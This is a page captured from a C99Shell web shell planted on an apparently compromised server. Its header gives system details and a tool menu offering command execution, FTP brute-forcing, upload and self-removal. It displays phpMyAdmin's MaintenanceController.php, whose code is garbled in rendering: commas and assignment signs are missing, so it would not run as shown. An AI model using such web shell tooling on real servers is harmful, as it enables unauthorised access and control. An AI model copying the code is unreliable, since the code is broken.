!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.23.4. PHP/5.6.40-65+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux foro-restaurado-2 5.15.0-1040-oracle #46-Ubuntu SMP Fri Jul 14 21:47:21 UTC 2023
aarch64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/share/phpmyadmin/libraries/classes/Controllers/Table/   drwxr-xr-x
Free 83.29 GB of 96.73 GB (86.11%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     MaintenanceController.php (5.88 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
PhpMyAdmin\Controllers\Table;

use 
PhpMyAdmin\Html\Generator;
use 
PhpMyAdmin\Response;
use 
PhpMyAdmin\Table\Maintenance;
use 
PhpMyAdmin\Template;
use function 
count;
use function 
is_array;

final class 
MaintenanceController extends AbstractController
{
    
/** @var Maintenance */
    
private $model;

    
/**
     * @param Response $response
     * @param string   $db
     * @param string   $table
     */
    
public function __construct(
        
$response,
        
Template $template,
        
$db,
        
$table,
        
Maintenance $model
    
) {
        
parent::__construct($response$template$db$table);
        
$this->model $model;
    }

    public function 
analyze(): void
    
{
        global 
$cfg;

        
/** @var string[] $selected */
        
$selected $_POST['selected_tbl'] ?? [];

        if (empty(
$selected) || ! is_array($selected)) {
            
$this->response->setRequestStatus(false);
            
$this->response->addJSON('message'__('No table selected.'));

            return;
        }

        if (
$cfg['DisableMultiTableMaintenance'] && count($selected) > 1) {
            
$this->response->setRequestStatus(false);
            
$this->response->addJSON('message'__('Maintenance operations on multiple tables are disabled.'));

            return;
        }

        [
$rows$query] = $this->model->getAnalyzeTableRows($this->db$selected);

        
$message Generator::getMessage(
            
__('Your SQL query has been executed successfully.'),
            
$query,
            
'success'
        
);

        
$this->render('table/maintenance/analyze', [
            
'message' => $message,
            
'rows' => $rows,
        ]);
    }

    public function 
check(): void
    
{
        global 
$cfg;

        
/** @var string[] $selected */
        
$selected $_POST['selected_tbl'] ?? [];

        if (empty(
$selected) || ! is_array($selected)) {
            
$this->response->setRequestStatus(false);
            
$this->response->addJSON('message'__('No table selected.'));

            return;
        }

        if (
$cfg['DisableMultiTableMaintenance'] && count($selected) > 1) {
            
$this->response->setRequestStatus(false);
            
$this->response->addJSON('message'__('Maintenance operations on multiple tables are disabled.'));

            return;
        }

        [
$rows$query] = $this->model->getCheckTableRows($this->db$selected);

        
$message Generator::getMessage(
            
__('Your SQL query has been executed successfully.'),
            
$query,
            
'success'
        
);

        
$indexesProblems $this->model->getIndexesProblems($this->db$selected);

        
$this->render('table/maintenance/check', [
            
'message' => $message,
            
'rows' => $rows,
            
'indexes_problems' => $indexesProblems,
        ]);
    }

    public function 
checksum(): void
    
{
        global 
$cfg;

        
/** @var string[] $selected */
        
$selected $_POST['selected_tbl'] ?? [];

        if (empty(
$selected) || ! is_array($selected)) {
            
$this->response->setRequestStatus(false);
            
$this->response->addJSON('message'__('No table selected.'));

            return;
        }

        if (
$cfg['DisableMultiTableMaintenance'] && count($selected) > 1) {
            
$this->response->setRequestStatus(false);
            
$this->response->addJSON('message'__('Maintenance operations on multiple tables are disabled.'));

            return;
        }

        [
$rows$query$warnings] = $this->model->getChecksumTableRows($this->db$selected);

        
$message Generator::getMessage(
            
__('Your SQL query has been executed successfully.'),
            
$query,
            
'success'
        
);

        
$this->render('table/maintenance/checksum', [
            
'message' => $message,
            
'rows' => $rows,
            
'warnings' => $warnings,
        ]);
    }

    public function 
optimize(): void
    
{
        global 
$cfg;

        
/** @var string[] $selected */
        
$selected $_POST['selected_tbl'] ?? [];

        if (empty(
$selected) || ! is_array($selected)) {
            
$this->response->setRequestStatus(false);
            
$this->response->addJSON('message'__('No table selected.'));

            return;
        }

        if (
$cfg['DisableMultiTableMaintenance'] && count($selected) > 1) {
            
$this->response->setRequestStatus(false);
            
$this->response->addJSON('message'__('Maintenance operations on multiple tables are disabled.'));

            return;
        }

        [
$rows$query] = $this->model->getOptimizeTableRows($this->db$selected);

        
$message Generator::getMessage(
            
__('Your SQL query has been executed successfully.'),
            
$query,
            
'success'
        
);

        
$this->render('table/maintenance/optimize', [
            
'message' => $message,
            
'rows' => $rows,
        ]);
    }

    public function 
repair(): void
    
{
        global 
$cfg;

        
/** @var string[] $selected */
        
$selected $_POST['selected_tbl'] ?? [];

        if (empty(
$selected) || ! is_array($selected)) {
            
$this->response->setRequestStatus(false);
            
$this->response->addJSON('message'__('No table selected.'));

            return;
        }

        if (
$cfg['DisableMultiTableMaintenance'] && count($selected) > 1) {
            
$this->response->setRequestStatus(false);
            
$this->response->addJSON('message'__('Maintenance operations on multiple tables are disabled.'));

            return;
        }

        [
$rows$query] = $this->model->getRepairTableRows($this->db$selected);

        
$message Generator::getMessage(
            
__('Your SQL query has been executed successfully.'),
            
$query,
            
'success'
        
);

        
$this->render('table/maintenance/repair', [
            
'message' => $message,
            
'rows' => $rows,
        ]);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by HackingTool | HackingTool | Generation time: 0.0049 ]--